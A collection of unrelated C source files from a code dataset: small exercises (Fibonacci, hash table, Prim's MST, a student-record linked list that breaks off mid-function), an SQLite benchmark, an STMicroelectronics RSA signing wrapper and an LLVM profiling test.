the_stack_data/12638928.c | #include <stdio.h>
#include <stdlib.h>
#define MAX 50
typedef struct{
int chave;
int altura;
int peso;
}registro;
typedef struct{
registro vet[MAX+1];
int numElem;
}lista;
void inicializarLista(lista* l){
l->numElem = 0;
} |
the_stack_data/153821.c | #include <stdio.h>
int fibR(int n){
if(n<2)
return n;
else
return fibR(n-1)+fibR(n-2);
}
int main(){
int n,i;
printf("Escolha o n-esmo termo: ");
scanf("%d",&n);
printf("Sequencia de Fibonacci:\n");
for(i=0;i<n;i++)
printf("%d ",fibR(i+1));
}
|
the_stack_data/34513021.c | #if 0
#elif UNDEFINED_MACRO
#endif
|
the_stack_data/89200157.c | /*
* SPDX-FileCopyrightText: 2021 Daniel Bittman <[email protected]>
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <sqlite3.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void timespec_diff(struct timespec *start, struct timespec *stop, struct timespec *result)
{
if((stop->tv_nsec - start->tv_nsec) < 0) {
result->tv_sec = stop->tv_sec - start->tv_sec - 1;
result->tv_nsec = stop->tv_nsec - start->tv_nsec + 1000000000ul;
} else {
result->tv_sec = stop->tv_sec - start->tv_sec;
result->tv_nsec = stop->tv_nsec - start->tv_nsec;
}
}
static int callback(void *NotUsed, int argc, char **argv, char **azColName)
{
// if(NotUsed)
// return 0;
return 0;
int i;
for(i = 0; i < argc; i++) {
printf("%s = %s\n", azColName[i], argv[i] ? argv[i] : "NULL");
}
printf("\n");
return 0;
}
int trace_callback(unsigned trace, void *C, void *P, void *X)
{
// if(trace == SQLITE_TRACE_PROFILE)
// printf("trace: %ld ns (%ld us)\n", *(uint64_t *)X, *(uint64_t *)X / 1000);
return 0;
}
struct timespec start, end;
void start_timer(void)
{
clock_gettime(CLOCK_MONOTONIC, &start);
}
uint64_t next_timer(void)
{
clock_gettime(CLOCK_MONOTONIC, &end);
struct timespec result;
timespec_diff(&start, &end, &result);
uint64_t r = result.tv_nsec + result.tv_sec * 1000000000ul;
clock_gettime(CLOCK_MONOTONIC, &start);
return r;
}
#define SQLE(name) \
({ \
if(rc != SQLITE_OK) { \
fprintf(stderr, "SQL err %s: %d %s\n", name, rc, zErrMsg); \
return 1; \
}; \
})
float random_float(int min, int max)
{
return (float)(rand() % (max - min) + min);
}
int random_int(int min, int max)
{
return rand() % (max - min) + min;
}
void random_name(char *name, size_t len)
{
memset(name, 0, len);
for(int i = 0; i < random_int(0, len - 8); i++) {
*name++ = random_int('a', 'z');
}
}
int iters = 30;
int main(int argc, char *argv[])
{
#if 0
start_timer();
for(;;) {
long long x = next_timer();
for(volatile long i = 0; i < 1000000000ul; i++) {
}
long long y = next_timer();
printf(":: %ld\n", y);
}
#endif
sqlite3 *db;
char *zErrMsg = 0;
int rc;
char *sql;
sqlite3_stmt *res;
/* Open database */
printf("Opening\n");
sqlite3_config(SQLITE_CONFIG_SINGLETHREAD);
#ifndef __twizzler__
system("rm /tmp/test.db");
#endif
rc = sqlite3_open("/tmp/test.db", &db);
printf("ok\n");
if(rc) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return (0);
}
// sqlite3_trace_v2(db, SQLITE_TRACE_PROFILE, trace_callback, NULL);
sql = "CREATE TABLE people ("
"FirstName STRING NOT NULL,"
"LastName STRING NOT NULL,"
"Salary DECIMAL NOT NULL,"
"Age INT NOT NULL,"
"Children INT NOT NULL,"
"Job TEXT NOT NULL);";
printf("create\n");
/* Execute SQL statement */
rc = sqlite3_exec(db, sql, callback, 0, &zErrMsg);
SQLE("create");
#if 0
rc = sqlite3_exec(db, "PRAGMA synchronous = OFF", NULL, NULL, &zErrMsg);
SQLE("pragma sync");
rc = sqlite3_exec(db, "PRAGMA read_uncommitted = TRUE", NULL, NULL, &zErrMsg);
SQLE("pragma read_u");
rc = sqlite3_exec(db, "PRAGMA mmap_size=2684354560;", NULL, NULL, &zErrMsg);
SQLE("pragma mmap");
rc = sqlite3_exec(db, "PRAGMA max_page_count=200000", NULL, NULL, &zErrMsg);
SQLE("pragma mmap");
// rc = sqlite3_exec(db, "PRAGMA journal_mode = OFF", NULL, NULL, &zErrMsg);
// SQLE("pragma journal");
#endif
sql = "INSERT INTO people VALUES (?, ?, ?, ?, ?, ?);";
printf("Inserting\n");
sqlite3_prepare_v2(db, sql, -1, &res, NULL);
#ifndef __twizzler__
rc = sqlite3_exec(db, "BEGIN TRANSACTION", NULL, NULL, &zErrMsg);
#endif
SQLE("begin");
start_timer();
int max = 1000000;
for(int i = 0; i < max; i++) {
if(i % (max / 10) == 0)
printf("%d\n", i / (max / 10));
char name[32];
if(i == max / 2)
strcpy(name, "abcde");
else
random_name(name, 32);
rc = sqlite3_bind_text(res, 1, name, -1, SQLITE_TRANSIENT);
SQLE("bind1");
random_name(name, 32);
rc = sqlite3_bind_text(res, 2, name, -1, SQLITE_TRANSIENT);
SQLE("bind2");
rc = sqlite3_bind_double(res, 3, random_float(0, 1000000));
SQLE("bind3");
rc = sqlite3_bind_int(res, 4, random_int(0, 100));
SQLE("bind4");
rc = sqlite3_bind_int(res, 5, random_int(0, 8));
SQLE("bind5");
random_name(name, 32);
rc = sqlite3_bind_text(res, 6, name, -1, SQLITE_TRANSIENT);
SQLE("bind6");
rc = sqlite3_step(res);
sqlite3_clear_bindings(res);
rc = sqlite3_reset(res);
SQLE("step");
}
uint64_t ns_insert = next_timer();
printf("Ending\n");
#ifndef TWZ
// rc = sqlite3_exec(db, "END TRANSACTION", NULL, NULL, &zErrMsg);
#endif
uint64_t ns_end = next_timer();
SQLE("end");
long quiet = 0;
char *query;
char *name;
int q;
q = atoi(argv[1]);
switch(q) {
case 0:
query = "SELECT * FROM people;";
quiet = 1;
name = "Show-All-Rows";
break;
case 1:
query = "SELECT COUNT(*) FROM people;";
quiet = 0;
name = "Count-Rows";
break;
case 2:
query = "SELECT AVG(Salary) FROM people;";
quiet = 0;
name = "Calc-Mean";
break;
case 3:
query = "SELECT AVG(Salary) FROM "
"(SELECT Salary FROM people ORDER BY Salary LIMIT 2 OFFSET "
"(SELECT (COUNT(*) - 1) / 2 FROM people));";
// query = "SELECT Salary FROM people ORDER BY Salary LIMIT 8;";
quiet = 0;
name = "Calc-Median";
break;
case 4:
query = "SELECT * FROM people ORDER BY Age;";
quiet = 1;
name = "Show-All-Rows-Ordered";
break;
case 5:
query = "SELECT * FROM people WHERE FirstName = \"abcde\";";
quiet = 0;
name = "Needle-In-Haystack";
break;
case 6:
printf("Building index\n");
next_timer();
rc = sqlite3_exec(
db, "CREATE INDEX idx ON people (FirstName);", callback, (void *)quiet, &zErrMsg);
uint64_t ns_idx = next_timer();
SQLE("exec idx");
printf("ELAPSED (cgt) Create-Index %ld: %lf ms\n", max, ns_idx / 1000000.f);
query = "SELECT * FROM people WHERE FirstName = \"abcde\";";
quiet = 0;
name = "Needle-In-Haystack-Index";
break;
}
printf("Selecting\n");
next_timer();
rc = sqlite3_exec(db, query, callback, (void *)quiet, &zErrMsg);
uint64_t ns_sel = next_timer();
SQLE("sel");
printf("Done!\n");
sqlite3_close(db);
printf("ELAPSED (cgt) %s %ld: ins %ld ; end %ld ; sel %ld ns\n",
name,
max,
ns_insert,
ns_end,
ns_sel);
/*
printf("ELAPSED (cgt) %s %ld: ins %lf ; end %lf ; sel %lf ms\n",
name,
max,
ns_insert / 1000000.f,
ns_end / 1000000.f,
ns_sel / 1000000.f);
*/
#ifndef TWZ
system("rm /tmp/test.db");
#endif
if(--iters) {
main(argc, argv);
}
return 0;
}
|
the_stack_data/880975.c | /**
******************************************************************************
* @file ca_rsa_hal.c
* @author MCD Application Team
* @brief This file contains the RSA router implementation of
* the Cryptographic API (CA) module to the HAL Cryptographic library.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under Ultimate Liberty license
* SLA0044, the "License"; You may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
* www.st.com/SLA0044
*
******************************************************************************
*/
/* CA sources are built by building ca_core.c giving it the proper ca_config.h */
/* This file can not be build alone */
#if defined(CA_CORE_C)
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef CA_RSA_HAL_C
#define CA_RSA_HAL_C
/* Includes ------------------------------------------------------------------*/
#include "ca_rsa_hal.h"
#include <stdlib.h>
/* Private defines -----------------------------------------------------------*/
/**
* @brief RSA's Macros
*/
#define WRAP_SHA1_SIZE 20 /*!< Size of a Sha1 digest*/
#define WRAP_SHA256_SIZE 32 /*!< Size of a Sha256 digest*/
#define RSA_PUBKEY_MAXSIZE 528 /*!< Maximum size of RSA's public key in bits*/
#define RSA_PRIVKEY_MAXSIZE 1320 /*!< Maximum size of RSA's private key in bits*/
/**
* @brief Used for creating the DER type
*/
#define DER_NB_PUB_TYPE 3 /*!< Number of type in a DER public key*/
#define DER_NB_PUB_SIZE 3 /*!< Number of size in a DER public key*/
/* Private typedef -----------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
#if defined(CA_ROUTE_RSA) && ((CA_ROUTE_RSA & CA_ROUTE_MASK) == CA_ROUTE_HAL)
#include "rsa_stm32hal.c"
#endif /* (CA_ROUTE_RSA & CA_ROUTE_MASK) == CA_ROUTE_HAL */
/* Functions Definition ------------------------------------------------------*/
#if defined(CA_ROUTE_RSA) && ((CA_ROUTE_RSA & CA_ROUTE_MASK) == CA_ROUTE_HAL)
#if (CA_ROUTE_RSA & CA_ROUTE_RSA_CFG_SIGN_ENABLE)
/**
* @brief PKCS#1v1.5 RSA Signature Generation Function
* @param[in] *P_pPrivKey: RSA private key structure (RSAprivKey_stt)
* @param[in] *P_pDigest: The message digest that will be signed
* @param[in] P_hashType: Identifies the type of Hash function used
* @param[out] *P_pSignature: The returned message signature
* @param[in] *P_pMemBuf: Pointer to the membuf_stt structure
that will be used to store the internal values
required by computation. NOT USED
* @note P_pSignature has to point to a memory area of suitable size
* (modulus size).
* Only RSA 1024 and 2048 with SHA1 or SHA256 are supported
* @retval CA_RSA_SUCCESS: Operation Successful
* @retval CA_RSA_ERR_BAD_PARAMETER: Some of the inputs were NULL
* @retval CA_RSA_ERR_UNSUPPORTED_HASH: Hash type passed not supported
* @retval CA_ERR_MEMORY_FAIL: Not enough memory left available
*/
int32_t CA_RSA_PKCS1v15_Sign(const CA_RSAprivKey_stt *P_pPrivKey,
const uint8_t *P_pDigest,
CA_hashType_et P_hashType,
uint8_t *P_pSignature,
CA_membuf_stt *P_pMemBuf)
{
int32_t RSA_ret_status = CA_RSA_SUCCESS;
rsa_key_t sk;
const rsa_pkcs_hash_t *hash_ctx;
uint8_t wrap_hash_size;
(void)P_pMemBuf;
if ((P_pPrivKey == NULL)
|| (P_pDigest == NULL)
|| (P_pSignature == NULL))
{
return CA_RSA_ERR_BAD_PARAMETER;
}
if (P_pPrivKey->mModulusSize > RSA_PUBKEY_MAXSIZE)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
/*Define algorithm and hash size with hash type*/
switch (P_hashType)
{
/*Supported Hash*/
case (CA_E_SHA1):
wrap_hash_size = WRAP_SHA1_SIZE;
hash_ctx = &RSA_Hash_SHA1;
break;
case (CA_E_SHA256):
wrap_hash_size = WRAP_SHA256_SIZE;
hash_ctx = &RSA_Hash_SHA256;
break;
default:
/*Not supported Hash*/
return CA_RSA_ERR_UNSUPPORTED_HASH;
break;
}
if (RSA_SetKey(&sk, P_pPrivKey->pmModulus, (uint32_t)(P_pPrivKey->mModulusSize), P_pPrivKey->pmExponent,
(uint32_t)(P_pPrivKey->mExponentSize)) != RSA_SUCCESS)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
if (RSA_PKCS1v15_Sign(&sk,
P_pDigest, wrap_hash_size,
hash_ctx,
P_pSignature) != RSA_SUCCESS)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
return RSA_ret_status;
}
#endif /* (CA_ROUTE_RSA & CA_ROUTE_RSA_CFG_SIGN_ENABLE) */
#if (CA_ROUTE_RSA & CA_ROUTE_RSA_CFG_VERIFY_ENABLE)
/**
* @brief PKCS#1v1.5 RSA Signature Verification Function
* @param[in] *P_pPubKey: RSA public key structure (RSApubKey_stt)
* @param[in] *P_pDigest: The hash digest of the message to be verified
* @param[in] P_hashType: Identifies the type of Hash function used
* @param[in] *P_pSignature: The signature that will be checked
* @param[in] *P_pMemBuf: Pointer to the membuf_stt structure that will be used
* to store the internal values required by computation. NOT USED
* @retval CA_SIGNATURE_VALID: The Signature is valid
* @retval CA_SIGNATURE_INVALID: The Signature is NOT valid
* @retval CA_RSA_ERR_BAD_PARAMETER: Some of the inputs were NULL
* @retval CA_RSA_ERR_UNSUPPORTED_HASH: The Hash type passed doesn't correspond
* to any among the supported ones
* @retval CA_ERR_MEMORY_FAIL: Not enough memory left available
*/
int32_t CA_RSA_PKCS1v15_Verify(const CA_RSApubKey_stt *P_pPubKey,
const uint8_t *P_pDigest,
CA_hashType_et P_hashType,
const uint8_t *P_pSignature,
CA_membuf_stt *P_pMemBuf)
{
int32_t RSA_ret_status = CA_SIGNATURE_VALID;
rsa_key_t sk;
const rsa_pkcs_hash_t *hash_ctx;
uint8_t wrap_hash_size;
(void)P_pMemBuf;
if ((P_pPubKey == NULL)
|| (P_pDigest == NULL)
|| (P_pSignature == NULL))
{
return CA_RSA_ERR_BAD_PARAMETER;
}
if (P_pPubKey->mModulusSize > RSA_PUBKEY_MAXSIZE)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
/*Define algorithm and hash size with hash type*/
switch (P_hashType)
{
/*Supported Hash*/
case (CA_E_SHA1):
wrap_hash_size = WRAP_SHA1_SIZE;
hash_ctx = &RSA_Hash_SHA1;
break;
case (CA_E_SHA256):
wrap_hash_size = WRAP_SHA256_SIZE;
hash_ctx = &RSA_Hash_SHA256;
break;
default:
/*Not supported Hash*/
return CA_RSA_ERR_UNSUPPORTED_HASH;
break;
}
if (RSA_SetKey(&sk, P_pPubKey->pmModulus, (uint32_t)(P_pPubKey->mModulusSize), P_pPubKey->pmExponent,
(uint32_t)(P_pPubKey->mExponentSize)) != RSA_SUCCESS)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
if (RSA_PKCS1v15_Verify(&sk,
P_pDigest, wrap_hash_size,
hash_ctx,
P_pSignature, (uint32_t)(P_pPubKey->mModulusSize)) != RSA_SUCCESS)
{
return CA_RSA_ERR_BAD_PARAMETER;
}
return RSA_ret_status;
}
#endif /* (CA_ROUTE_RSA & CA_ROUTE_RSA_CFG_VERIFY_ENABLE) */
#endif /* (CA_ROUTE_RSA & CA_ROUTE_MASK) == CA_ROUTE_HAL */
#endif /* CA_RSA_HAL_C */
#endif /* CA_CORE_C */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/808671.c | //quadratic probing
#include<stdio.h>
#include<stdbool.h>
#define M 15
struct DataItem
{
int key;
int value;
} HT[M];
void initialize()
{
for(int i = 0 ; i < M ; i++)
{
HT[i].key = 0;
}
}
float loadFactor()
{
int count = 0;
for(int i = 0 ; i< M ; i++)
{
if( HT[i].key != 0)
{
count++;
}
}
float d = (float)count/M;
return (float)d;
}
void insert(int item)
{
int j = 1;
if(loadFactor() == 1)
{
printf("HASH TABLE FULL\n");
return;
}
int ha = item % M;
if( HT[ha].key == 0 )
{
HT[ha].key = item;
return;
}
while(true)
{
int nha = ha + (j*j);
int k = nha % M;
if (HT[k].key == 0)
{
HT[k].key = item;
return;
}
else
{
j++;
}
}
}
bool search(int item)
{
int flag = 0;
int j = 1;
if(!loadFactor())
{
printf("NO ITEMS");
return false;
}
int ha = item % M;
if(HT[ha].key == item)
{
printf("FOUND");
return true;
}
while(j < 10)
{
int nha = ha + (j*j);
int k = nha % M;
if(HT[k].key == item)
{
printf("FOUND");
flag = 1;
return true;
}
else
{
j++;
}
}
if(!flag)
{
printf("NOT FOUND");
return false;
}
}
bool deleted(int item)
{
int j = 1;
if(!loadFactor())
{
printf("NO ITEMS");
return false;
}
int ha = item % M;
if( HT[ha].key == item)
{
HT[ha].key = 0;
return true;
}
while(j<10) /////////////////////
{
int nha = ha + (j*j);
int k = nha % M;
if( HT[k].key == item)
{
HT[k].key = 0;
return true;
}
else
{
j++;
}
}
printf("NOT FOUND\n");
return false;
}
void print()
{
for(int i = 0 ; i< M ; i++)
{
printf("%5d" , HT[i].key);
}
printf("\n");
}
int main()
{
int choice;
int key;
printf("*************QUADRATIC PROBING***************\n");
printf("1. Insert\n2. Search\n3. Delete\n4. Print\n0. Exit\n");
do
{
scanf("%d", &choice);
switch(choice)
{
case 1:
printf("\nEnter the Number To be Inserted: ");
scanf("%d" , &key);
insert(key);
break;
case 2:
printf("\nEnter the Number To be Searched: ");
scanf("%d" , &key);
search(key);
break;
case 3:
printf("\nEnter the Number To be Deleted: ");
scanf("%d" , &key);
deleted(key);
break;
case 4:
printf("\n");
print();
break;
default:
printf("WRONG INPUT");
}
}while(choice!= 0);
}
|
the_stack_data/193892814.c | #include <stdio.h>
#include <stdlib.h>
int * create_matrix(char* nvar,char* s)
{
/*printf(s);
printf("\n");
printf("%c\n",s[22]);*/
//printf("\n");
int len= atoi(nvar);
int *array = (int *)malloc(len * sizeof(int*));
int j=0;
for(int i = 0; i < len; i++)
{
if(s[j]=='0')
{
array[i]=0;
}
else
{
array[i]=1;
}
j+=2;
};
return array;
}
|
the_stack_data/90763631.c | // RUN: %clang_profgen -o %t -O3 %s
// RUN: env LLVM_PROFILE_FILE=%t.profraw %run %t
// RUN: llvm-profdata merge -o %t.profdata %t.profraw
// RUN: %clang_profuse=%t.profdata -o - -S -emit-llvm %s | FileCheck %s
int begin(int i) {
// CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD1:[0-9]+]]
if (i)
return 0;
return 1;
}
int end(int i) {
// CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD2:[0-9]+]]
if (i)
return 0;
return 1;
}
int main(int argc, const char *argv[]) {
begin(0);
end(1);
// CHECK: br i1 %{{.*}}, label %{{.*}}, label %{{.*}}, !prof ![[PD2:[0-9]+]]
if (argc)
return 0;
return 1;
}
// CHECK: ![[PD1]] = !{!"branch_weights", i32 1, i32 2}
// CHECK: ![[PD2]] = !{!"branch_weights", i32 2, i32 1}
|
the_stack_data/103469.c | #ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
static void *xcalloc(const size_t count, const size_t size)
{
void *const ret = calloc(count, size);
if (!ret) abort();
return ret;
}
static void *xrealloc(void *const p, const size_t n)
{
void *const ret = realloc(p, n);
if (!ret && n) abort();
return ret;
}
static void fill(int *const p, const int n, const int value)
{
for (int i = 0; i < n; ++i) p[i] = value;
}
struct edge {
int dest;
int weight;
};
struct vec {
struct edge *elems;
int size;
int capacity;
};
static void vec_free(struct vec *const vp)
{
free(vp->elems);
vp->elems = NULL;
vp->size = vp->capacity = 0;
}
static void vec_detail_expand(struct vec *const vp)
{
enum { initial_capacity = 1 }; // FIXME: increase after testing
vp->capacity = (vp->capacity == 0 ? initial_capacity : vp->capacity * 2);
vp->elems = xrealloc(vp->elems, vp->capacity * sizeof *vp->elems);
}
static inline void vec_emplace_back(struct vec *const vp,
const int dest, const int weight)
{
if (vp->size == vp->capacity) vec_detail_expand(vp);
struct edge *const p = vp->elems + vp->size++;
p->dest = dest;
p->weight = weight;
}
static inline struct edge *vec_begin(const struct vec *const vp)
{
return vp->elems;
}
static inline struct edge *vec_end(const struct vec *const vp)
{
return vp->elems + vp->size;
}
struct graph {
struct vec *adj;
int vertex_count;
};
static struct graph graph_read(void)
{
struct graph g = {0};
(void)scanf("%d", &g.vertex_count);
g.adj = xcalloc(++g.vertex_count, sizeof *g.adj); // 1-based indexing
int edge_count = 0, u = 0, v = 0, weight = 0;
for ((void)scanf("%d", &edge_count); edge_count > 0; --edge_count) {
(void)scanf("%d%d%d", &u, &v, &weight);
vec_emplace_back(&g.adj[u], v, weight);
vec_emplace_back(&g.adj[v], u, weight);
}
return g;
}
static void graph_free(struct graph *const gp)
{
while (gp->vertex_count > 0) vec_free(&gp->adj[--gp->vertex_count]);
free(gp->adj);
gp->adj = NULL;
}
struct entry {
int vertex;
int cost;
};
struct heap {
struct entry *entries;
int *lookup;
int size;
};
enum { k_no_index = -1 };
static struct heap heap_init(const int capacity)
{
struct heap h = {xcalloc(capacity, sizeof *h.entries),
xcalloc(capacity, sizeof *h.lookup),
0};
fill(h.lookup, capacity, k_no_index);
return h;
}
static void heap_free(struct heap *const hp)
{
free(hp->entries);
hp->entries = NULL;
free(hp->lookup);
hp->lookup = NULL;
hp->size = -1; // for clarity when debugging
}
static inline bool heap_empty(const struct heap *const hp)
{
return hp->size == 0;
}
static inline int heap_top_vertex(const struct heap *const hp)
{
return hp->entries[0].vertex;
}
static inline int heap_top_cost(const struct heap *const hp)
{
return hp->entries[0].cost;
}
static inline void heap_detail_record(const struct heap *const hp,
const int index)
{
hp->lookup[hp->entries[index].vertex] = index;
}
static inline int heap_detail_pick_child(const struct heap *const hp,
const int parent)
{
const int left = parent * 2 + 1;
if (left >= hp->size) return k_no_index;
const int right = left + 1;
if (right == hp->size || hp->entries[left].cost <= hp->entries[right].cost)
return left;
return right;
}
static void heap_detail_sift_down(const struct heap *const hp, int parent,
int vertex, int cost)
{
for (; ; ) {
const int child = heap_detail_pick_child(hp, parent);
if (child == k_no_index || cost <= hp->entries[child].cost) break;
hp->entries[parent].vertex = hp->entries[child].vertex;
hp->entries[parent].cost = hp->entries[child].cost;
heap_detail_record(hp, parent);
parent = child;
}
hp->entries[parent].vertex = vertex;
hp->entries[parent].cost = cost;
heap_detail_record(hp, parent);
}
static void heap_pop(struct heap *const hp)
{
hp->lookup[hp->entries[0].vertex] = k_no_index;
if (--hp->size != 0) {
heap_detail_sift_down(hp, 0, hp->entries[hp->size].vertex,
hp->entries[hp->size].cost);
}
}
static void heap_detail_sift_up(const struct heap *const hp, int child,
int vertex, int cost)
{
while (child != 0) {
const int parent = (child - 1) / 2;
if (hp->entries[parent].cost <= cost) break;
hp->entries[child].vertex = hp->entries[parent].vertex;
hp->entries[child].cost = hp->entries[parent].cost;
heap_detail_record(hp, child);
child = parent;
}
hp->entries[child].vertex = vertex;
hp->entries[child].cost = cost;
heap_detail_record(hp, child);
}
static void heap_emplace_or_decrease(struct heap *const hp,
const int vertex, const int cost)
{
int index = hp->lookup[vertex];
if (index == k_no_index)
index = hp->size++;
else if (hp->entries[index].cost <= cost)
return;
heap_detail_sift_up(hp, index, vertex, cost);
}
static int prim(const struct graph *const gp, const int start)
{
int total_cost = 0;
bool *vis = xcalloc(gp->vertex_count, sizeof *vis);
struct heap h = heap_init(gp->vertex_count);
heap_emplace_or_decrease(&h, start, 0);
while (!heap_empty(&h)) {
const int src = heap_top_vertex(&h), cost = heap_top_cost(&h);
heap_pop(&h);
vis[src] = true;
total_cost += cost;
const struct vec *rowp = &gp->adj[src];
for (const struct edge *const ep_end = vec_end(rowp),
*ep = vec_begin(rowp); ep != ep_end; ++ep) {
if (!vis[ep->dest])
heap_emplace_or_decrease(&h, ep->dest, ep->weight);
}
}
heap_free(&h);
free(vis);
vis = NULL;
return total_cost;
}
int main(void)
{
struct graph g = graph_read();
int start = 0;
(void)scanf("%d", &start);
printf("%d\n", prim(&g, start));
graph_free(&g);
}
|
the_stack_data/62812.c | //
// main.c
// lab2
//
// Created by D1 on 3/31/19.
// Copyright © 2019 D1. All rights reserved.
//
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAX_NAME 100
typedef struct _Date_ {
int year;
int month;
int day;
} Date;
typedef struct _Student_ {
// фамилия, имя, отчество, дата рождения, средняя успеваемость
char familiya[MAX_NAME];
char imya[MAX_NAME];
char otchestvo[MAX_NAME];
double uspevaemost;
Date birth_date;
struct _Student_* next;
} Student;
char in_buffer[256];
size_t write_student(FILE* file, Student* student){
size_t byteSize = 0;
size_t size = fwrite(student->familiya, MAX_NAME, 1, file);
byteSize = size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(student->imya, MAX_NAME, 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(student->otchestvo, MAX_NAME, 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(&(student->birth_date.day), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(&(student->birth_date.month), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(&(student->birth_date.year), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
size = fwrite(&(student->uspevaemost), sizeof(double), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant write file\n");
return -1;
}
return byteSize;
}
Student* read_student(FILE* file){
Student* student = malloc(sizeof(Student));
memset(student, 0, sizeof(Student));
size_t byteSize = 0;
size_t size = fread(student->familiya, MAX_NAME, 1, file);
byteSize = size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(student->imya, MAX_NAME, 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(student->otchestvo, MAX_NAME, 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(&(student->birth_date.day), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(&(student->birth_date.month), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(&(student->birth_date.year), sizeof(int), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
size = fread(&(student->uspevaemost), sizeof(double), 1, file);
byteSize += size;
if(size == 0){
printf("Error: cant read file\n");
free(student);
return NULL;
}
return student;
}
void fill_student(Student* student){
if(student == NULL){
printf("Error: zero pointer");
return;
}
strcpy(student->familiya, "Ivanov");
strcpy(student->imya, "Ivan");
strcpy(student->otchestvo, "Ivanovich");
student->birth_date.day = 01;
student->birth_date.month = 01;
student->birth_date.year = 2001;
student->uspevaemost = 50.5;
}
void print_student(Student* student){
if(student == NULL){
printf("Error: zero pointer\n");
return;
}
printf("%s %s %s %02d.%02d.%d. Mark: %2.2f\n", student->familiya, student->imya, student->otchestvo, student->birth_date.day, student->birth_date.month, student->birth_date.year, student->uspevaemost);
}
void print_group(Student* list){
if(list == NULL){
printf("Empty list\n");
return;
}
Student* next = list;
int number = 1;
while (next != NULL) {
printf("%d: ", number++);
print_student(next);
next = next->next;
}
printf("========================================\n");
}
void add_student(Student** list, Student* newStudent){
if(list == NULL){
printf("Error: zero list");
return;
}
if(newStudent == NULL){
printf("Error: zero student");
return;
}
Student** next = list;
while (1) {
if (*next == NULL) {
*next = newStudent;
break;
}
next = &((*next)->next);
}
}
void remove_student(Student** list, int index){
if(list == NULL){
printf("Error: zero list");
return;
}
Student** next = list;
int i = 1;
while (1) {
if (*next == NULL) {
printf("No index %d:%d\n", index, i);
break;
}
if (i == index) {
Student* tmp = *next;
*next = (*next)->next;
free(tmp);
break;
}
next = &((*next)->next);
++i;
}
}
void search_name(Student* root, char* name){
if(name == NULL){
printf("Error: noname");
return;
}
Student* next = root;
int i = 1;
int count = 0;
while (next != NULL) {
if(strcmp(next->familiya, name) == 0){
printf("%d: ", i);
print_student(next);
count++;
}
next = next->next;
i++;
}
printf("%d found\n---------------------------------\n", count);
}
void search_marks(Student* root, int mark_min, int mark_max){
if(mark_min > mark_max){
printf("Error");
return;
}
if(mark_min > 100 || mark_min < 0){
printf("Error: incorrect mark %d \n", mark_min);
return;
}
if(mark_max > 100 || mark_max < 0){
printf("Error: incorrect mark %d \n", mark_max);
return;
}
Student* next = root;
int i = 1;
int count = 0;
while (next != NULL) {
if(next->uspevaemost < mark_max && next->uspevaemost > mark_min){
printf("%d: ", i);
print_student(next);
count++;
}
next = next->next;
i++;
}
printf("%d found\n---------------------------------\n", count);
}
void search_date(Student* root, int day, int month){
Student* next = root;
int i = 1;
int count = 0;
while (next != NULL) {
if(next->birth_date.day == day && next->birth_date.month == month){
printf("%d: ", i);
print_student(next);
count++;
}
next = next->next;
i++;
}
printf("%d found\n---------------------------------\n", count);
}
void search_student(Student* root){
int finish = 0;
do {
char name[MAX_NAME] = {0};
int mark_max = 0;
int mark_min = 0;
int day = 0;
int month = 0;
int cc = 0;
int in_success = 0;
while (!in_success) {
printf("\nEnter sort type:\n1. Name\n2. Marks\n3. Birth date\n4. Cancel\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%d", &cc);
if (scanned == 1) {
in_success = 1;
break;
} else {
printf("Expected 1 argument, got %d\n", scanned);
}
}
}
switch (cc) {
case 1:
in_success = 0;
while (!in_success) {
printf("Enter student first name\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%s", name);
if (scanned != 1) {
printf("Error: 1 argument expected, got %d\n", scanned);
} else {
in_success = 1;
break;
}
}
}
printf("=========== search name: %s\n", name);
search_name(root, name);
break;
case 2: {
in_success = 0;
while (!in_success) {
printf("Enter student marks 'min max':\n");
char * rr = fgets(in_buffer, sizeof(in_buffer), stdin);
if (rr != NULL) {
int scanned = sscanf(in_buffer, "%d %d", &mark_min, &mark_max);
if (scanned != 2) {
printf("Error: 2 arguments expected, got %d\n", scanned);
